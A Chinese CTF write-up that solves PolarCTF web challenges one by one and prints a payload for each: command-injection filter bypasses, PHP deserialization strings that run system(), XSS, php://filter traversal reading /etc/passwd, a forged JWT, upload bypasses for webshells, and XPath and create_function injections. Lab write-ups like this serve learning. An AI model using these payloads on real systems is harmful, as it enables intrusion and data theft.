前言:
目标是ak靶场,然后换书。同时也是加深我对于web题目的熟练度和见识。
简单
简单难度基本都是秒杀,很多都比较基础且没意思,题目后面跟#的是比较有意义的题。
swp#
描述:无
考点:swp文件泄露、strpos()、PCRE回溯次数限制绕过正则
dirsearch直接扫出swp文件

访问得到源码

审计一下源码,先是判断输入的内容是否为数组,然后用strpos()判断输入的内容是否包含sys nb。但是单单输入sys nb还不够。上面还有一个正则匹配sys开头,后面跟任意字符 .*,然后以nb结尾。原本我以为空格也算一个字符直接输入sys nb就能得到flag了,但是发现没绕过去。
这里就需要用到PCRE回溯次数限制来绕过正则
PCRE回溯次数限制:通过发送超长字符串的方式让回溯次数超过最大限制就可以使
preg_match()函数返回false,从而绕过限制,使正则执行失败。中文的回溯次数在100万次就会崩溃
1 | import requests |
运行后得到flag

简单rce#
描述:无
考点:rce绕过

就是个命令执行绕过,system用passthru替代,cat用\绕过,空格用%09。

蜜雪冰城吉警店
描述:无
考点:js修改
本来看源代码我还以为是js反混淆,后面发现没法解出来。
尝试在查看器改了一下id为9。

改完再点击一下相应的按钮就得到flag


召唤神龙
描述:无
考点:js源码泄露、JSFuck解码

好玩爱玩,玩归玩闹归闹,还是来正经做题。
dirsearch扫描发现一个main.js

查看发现一段可疑的JSFuck码

解码得到flag

seek flag
描述:无
考点:信息搜集
dirsearch扫描发现robots.txt

访问得到第三部分flag

本来看源码的提示被误导了,真的写了个脚本爬了1000行数据以为有隐藏的。后面发现cookie处的id=0,尝试改成id=1就出来了。

本来是想抓包爆破一下cookie里的id的无意中发现flag2(逆天题)

将三段拼在一起得到完整flag
jwt#
描述:无
考点:jwt伪造
进入是一个登录界面,去注册admin用户,发现已存在。再结合题目jwt可以大概猜出这题要伪造admin用户登录。

先尝试一下爆破admin的密码但是没爆出来(爆出来估计就非预期了)
既然爆不出密码,那就先顺便注册一个用户登录
先查看一下JWT的header和payload

利用jwt-cracker爆破JWT的secret
1 | jwt-cracker -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IlRHMXUifQ.E6_aosK_r4woX4_yxoxoSjA7L-vvwjqPSmRxAaNnjEo |

得到secret为SYSA
伪造jwt

1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.9avq5ApZ-XZul2kbon8z2cB6Y4bNru_0nnIZfJ1mO50 |
将其填回到cookie中,进入admin的个人中心得到flag

login
描述:无
考点:bp爆破
进入后根据源码的提示登录成功,但是没发现什么东西

尝试更换一下学号(一般就改最后几位就行),发现得到一个f

那么接下来就是爆破一下后面两位就行
使用Pitchfork模式
先爆破0到10,前缀加上零

再爆破10到99

最后得到flag
1 | flag{dlcg} |
iphone
描述:无
考点:ua伪造
根据源码提示直接伪造ua为手机或者ipad的就行
1 | Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1 |

浮生日记#
描述:无
考点:xss构造闭合+script双写绕过
根据源码提示发现需要弹窗
但是用弹窗发现没法弹,script没了

尝试把value给闭合了,并且script双写绕过就行了
1 | "><scrscriptipt>alert(123)</scrscriptipt> |

$$
描述:无
考点:全局变量
传入c的值后变为
1 | eval("var_dump($$_GET['c']);"); |
本来想用变量覆盖的,但是发现_被过滤,并且可以发现传入的地方还有个var_dump,所以就不想着命令执行了。
尝试用var_dump打印一下全局变量就出来了
1 | ?c=GLOBALS |

爆破
描述:无
考点:md5构造
分析一下代码,输入的密码要满足以下两个条件就可以得到flag
- 第 2 位、第 15 位和第 18 位字符相同
(intval(第 2 位) + intval(第 15 位) + intval(第 18 位)) / intval(第 2 位) == intval(第 32 位)
那么就很简单了,写个脚本就可以构造了
1 | import hashlib |

传入422得到flag

XFF#
描述:无
考点:XFF
直接伪造XFF就行了

rce1#
描述:无
考点:空格过滤
直接命令执行,用${IFS}绕过空格
1 | 127.0.0.1|cat${IFS}fllllaaag.php |

发现成功了但是没找到flag,查看一下源码发现flag

GET-POST
描述:无
考点:GET、POST传参

真就最基础的get、post传参

被黑掉的站
描述:无
考点:bp爆破
看他页面提示感觉是有后门,直接用dirsearch扫描发现两个文件

访问shell.php需要输入密码,访问index.php.bak应该是密码本
直接bp抓包爆破

签到题#
描述:无
考点:绕过
../
直接disearch扫描

访问data

绕过../读取flag.php
1 | /data/?file=php://filter/convert.base64-encode/resource=..././..././..././flag |

解码得到flag

但是这题我估计非预期了一下,前面data得到其实是要改cookie

解码得到文件路径,后面打法就一样了。

签到
描述:无
考点:POST传参
有个框但是无法提交,F12查看发现POST传参,参数为key

随便传个值发现需要传入ilovejljcxy,传入后直接得到flag了

session文件包含#
描述:无
考点:恶意session文件包含
随便登录个用户,用php伪协议读/etc/passwd
1 | /action.php?file=php://filter/convert.base64-encode/resource=/etc/passwd |

解码

但是发现这个flag是假的(交半天我还以为哪里错了。。。)
看题目是session文件包含,那就应该是要构造恶意的session文件
查看一下action.php

发现可以通过POST传入name的值构造恶意session然后包含session文件从而命令执行
那么就要先找到session文的存储位置
Session文件的存储位置:Session文件默认以文件的形式保存在服务器硬盘上,每个Session一个文件,文件名通常为
sess_[phpsessid]
命令执行查看一下环境变量,发现一个flag结果又是假的(不是一天天的这么喜欢fakeflag)

直接ls /查看,然后抓flag

Don’t touch me
描述:无
考点:无
一直查看源码根据提示访问2.php再访问3.php再访问fla.php就得到了。。。

robots
描述:无
考点:robots.txt
甚至不用dirsearch扫就知道访问robots.txt了。。。

访问fl0g.php得到flag

php very nice#
描述:无
考点:php反序列化

看到unserialize就知道要打反序列化了
1 |
|
1 | ?a=O:7:"Example":1:{s:3:"sys";s:23:"system('tac flag.php');";} |

ezupload#
描述:无
考点:文件上传MIME类型绕过
随便传个php文件用bp抓包发现只能传gif文件,修改一下MIME直接就绕过了

本来想偷点懒直接打结果发现找不到flag,老老实实连蚁剑了

在/var/www/flag.php找到flag

cookie欺骗
描述:无
考点:cookie伪造
进入就发现给了提示只有admin用户可以得到flag
直接bp抓包修改uer为admin就得到flag了

upload#
描述:无
考点:文件上传后缀双写绕过
查看源代码有提示,访问?action=show_code得到源码

可以看到黑名单限制了一堆后缀,并且移除上传文件的黑名单中的后缀,然后移动到目标路径生成随机前缀。
用bp抓包,直接双写绕过

得到上传文件的路径和名称后,直接打但是还是找不到。再次老实连蚁剑

在/var/www/flag.php找到flag

干正则#
描述:无
考点:parse_str()变量覆盖、rce

可以利用parse_str()打变量覆盖,然后用|分隔开。
1 | ?id=a[0]=www.polarctf.com&cmd=| tac f* |

cool#
描述:无
考点:system替代函数

system()用passthru()替代
1 | ?a=passthru('tac f*'); |

uploader#
描述:无
考点:无上传点的文件上传

使用客户端 IP 地址的 MD5 哈希值作为沙盒目录名称,并且将文件上传到生成的沙盒目录中。
在自己本地起个文件上传的网站
1 |
|
上传文件

可以发现已经给出目录了,直接打flag

覆盖
描述:无
考点:parse_str()变量覆盖、rce
跟上面干正则一模一样。。。
PHP反序列化初试#
描述:无
考点:php反序列化、
__toString()

这里需要触发__toString(),也就是需要把对象当成字符串调用
所以直接把new Evil()赋给name,从而通过echo new Evil()触发__toString(),此时就可以调用Evil里的evil并赋值就可以进行命令执行了。
1 | <?php |
1 | ?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:12:"tac f1@g.php";s:9:" Evil env";N;}} |

机器人
描述:无
考点:
robots.txt
还是一样直接访问robots.txt直接得到一半flag

除此之外,还发现一个目录访问显示禁止,直接用dirsearch扫描一下

访问得到另一半flag

扫扫看
描述:无
考点:泄露
dirsearch直接扫到flag了

访问在源代码得到flag

debudao
描述:无
考点:xss
xss弹cookie直接出
1 | <script>alert(document.cookie)</script> |

审计#
描述:无
考点:md5碰撞

md5要0e开头,并且输入又只能是数字,那就直接md5碰撞就得到flag了
1 | ?xxs=240610708 |

upload1
描述:无
考点:文件上传
查看源代码得到上传逻辑

随便上传个文件bp抓包,发现上传.php的话抓不到,就改为.jpg上传
上传后直接改后缀为.php就行

直接打flag

rapyiquan#
描述:无
考点:
[替代_、命令执行\绕过

可以看到_被过滤了,用[替代。下面命令执行禁了一堆但是\没禁直接用`绕过得到`flag
1 | ?c[md=ta\c /fl\ag.php |

bllbl_ser1#
描述:无
考点:php反序列化
页面上看不清楚,直接在源代码里查看

很明显打php反序列化
1 | <?php |
1 | ?blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:20:"system('cat /flag');";}} |
查看源代码找到flag

1ncIud3
描述:无
考点:flag替换字母、绕过
../
纯恶心人的题
dirsearch扫描发现flag.php,其他几个没啥用。

用?page=flag访问flag.php提示说需要替换字母f1ag、fl4g、fla9、fl49、f1a9、f1ag、f14g、f149
尝试了好几种发现都不行,尝试用../进行目录穿越也不行。
再回到flag.php发现提示说过滤了符号,感觉应该../被过滤了,用..././绕过
1 | ?page=..././..././f1a9 |

投喂#
描述:无
考点:php序列化
看题目要求发现需要我们对用户名和is_admin进行序列化
1 | <?php |
1 | data=O:4:"User":2:{s:8:"username";N;s:8:"is_admin";b:1;} |

狗黑子的RCE#
描述:无
考点:双写绕过
str_replace()

gouheizi会被str_replace()替换为空,所以用双写绕过。命令执行没禁用\直接用\绕过
1 | GET: ?gouheizi1=ta\c /fl\ag.php |

button
描述:无
考点:js泄露
直接查看网站的js脚本,发现可以直接读到flag

访问/proxy.php?file=flag,在源代码里找到flag

井字棋#
描述:无
考点:POST请求伪造、控制台函数调用
法一:POST请求伪造
查看源代码可以得到获取flag的条件

直接伪造请求得到flag

法二:控制台函数调用

可以看到declareWinner()通过参数who来控制谁获胜
直接通过控制台调用一下declareWinner(),给后端传递我们获胜的信息
1 | declareWinner("您赢了!"); |

简单的导航站
描述:无
考点:md5强比较数组绕过、bp爆破

尝试登录管理员但是发现登不进去,注册一个普通用户登录,查看用户列表

直接数组绕过md5强比较得到用户字典
1 | ?user1[]=1&user2[]=2 |

bp抓包爆破管理员用户和密码,但是发现没爆出来。
看了一下wp发现密码在源代码里(纯恶心人)

爆破用户名,得到管理员用户和密码P0la2adm1n/Admin1234!

登录后进入文件上传界面,上传.php成功但是没找到路径,盲猜是uploads
连接蚁剑

找到一个flag字典(无语)

导航页面有个验证flag的地方,抓包爆破得到正确的flag

中等
中等题基本上都是比较有意义的知识点,并且中等难度有些题理解起来还是有点难度的,这些题在题目后面跟上X。
到底给不给flag呢X
描述:无
考点:
foreach()+动态变量$$实现变量覆盖
这题理解起来还是有点麻烦的,得好好分析一下。

进来就给个flag,可惜是假的。。。
分析一下代码重点看这一段
1 | foreach ($_POST as $key => $value) { |
foreach循环会依次处理 $_POST 和$_GET数组中的每个键值对。很明显是需要我们打变量覆盖,接下来分别分析一下POST和GET
POST和GET传入的值会被重新变为变量
假设POST传入的值为a=flag,传入后$_POST数组如下:
1 | $_POST = [ |
则$$key = $value就变为$a = flag,所以很明显这里没法通过POST进行变量传递。
假设GET传入的值为a=flag,传入后$_GET数组如下:
1 | $_GET = [ |
则$$key = $$value就变为$a = $$flag
两个问题:
为什么这里不是
$a = $flag?这就涉及到动态变量
$$的基本概念:在 PHP 中,$$是动态变量的语法。它的作用是根据一个变量的值作为另一个变量的名称。这里的
$$key为什么不是变为$$a而是$a?因为这里的a不是通过
$$变量得到的,而是直接赋值为a,所以就直接是变量$a
此时如果传入a=flag&flag=a,传入后$_GET数组如下:
1 | $_GET = [ |
此时会经历两轮循环
第一轮:
1 | $key = 'a' |
此时$flag的值假flag:flag{f73da0c8e7c774d488a6df0fec2890d9}已经被覆盖掉了,而真正的flag值被赋给了$a变量,也就是$a=true flag。
第二轮:
1 | $key = 'flag' |
此时$flag的值等于$a变量的值,也就是$flag=true flag
所以最后echo $flag就是输出true flag
所以payload为
1 | ?a=flag&flag=a |

查看源代码得到flag

补充:为什么不用传入POST?(刚开始有点误导我)
第一段逻辑:
1
2
3 if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($qwq);
}此时需要两边都是
true才会exit($qwq),我们传入了GET,所以isset($_GET['flag'])为true而!isset($_GET['flag'])为false;我们没有传入POST,所以isset($_POST['flag'])为false而!isset($_POST['flag'])就为true。所以就传入一个GET就行了。
写shell
描述:无
考点:
file_put_contents()、php伪协议base64解密绕过exit()

就是用file_put_contents写入木马
但是可以发现这里由于有个exit();直接结束了后面代码的执行,所以我们需要绕过exit();
法一:base64解码
直接将代码以base64的形式写入到1.php中,并且使用php伪协议进行解码。这样就将<?php exit();".这部分给解密为乱码,从而执行我们后面写入的代码。
但是这里还有一点要注意的是base64解码是将每4个字节转换成3个字节,而
<?php exit();".有15个字符,所以我们需要随便加上一个字符筹齐16个字符进行base64解码。
1 | GET: ?filename=php://filter/convert.base64-decode/resource=1.php |

法二:strip_tags去除xml标签代码+base64解码
通过strip_tags去除xml标签代码,即去除<??>的部分,所以我们需要在POST的paylaod前加上?>闭合前面<?php exit();".,防止后面我们添加的<??>也被去除标签了。
1 | GET: ?filename=php://filter/string.strip_tags|convert.base64-decode/resource=1.php |

注入
描述:无
考点:xpath常规注入
进入后点击,发现跳转得到一个用户名,并且变为?id=1

但是试了半天sql注入没试出来,爆破了一下id也只是得到了几个用户名
看了一下wp才发现是xpath注入
直接打payload访问xml文档的所有节点就得到flag了
1 | ?id=']|//*|//*[' |

某函数的复仇
描述:无
考点:
create_function()命令执行

第一个正则验证 shaw是否只包含小写字母和下划线,第二个过滤了一些命令执行的关键字
动态掉用函数,这里shaw直接用create_function()满足第一个正则条件,并且参数也符合。
create_function():用于动态创建匿名函数。语法类似于eval(),会解析传入的字符串为可执行的 PHP 代码。
用;}结束了原本的函数体,后面直接命令执行,用/* 开始注释忽略后续的代码。
1 | GET: ?root=;}system('more /f*');/* |
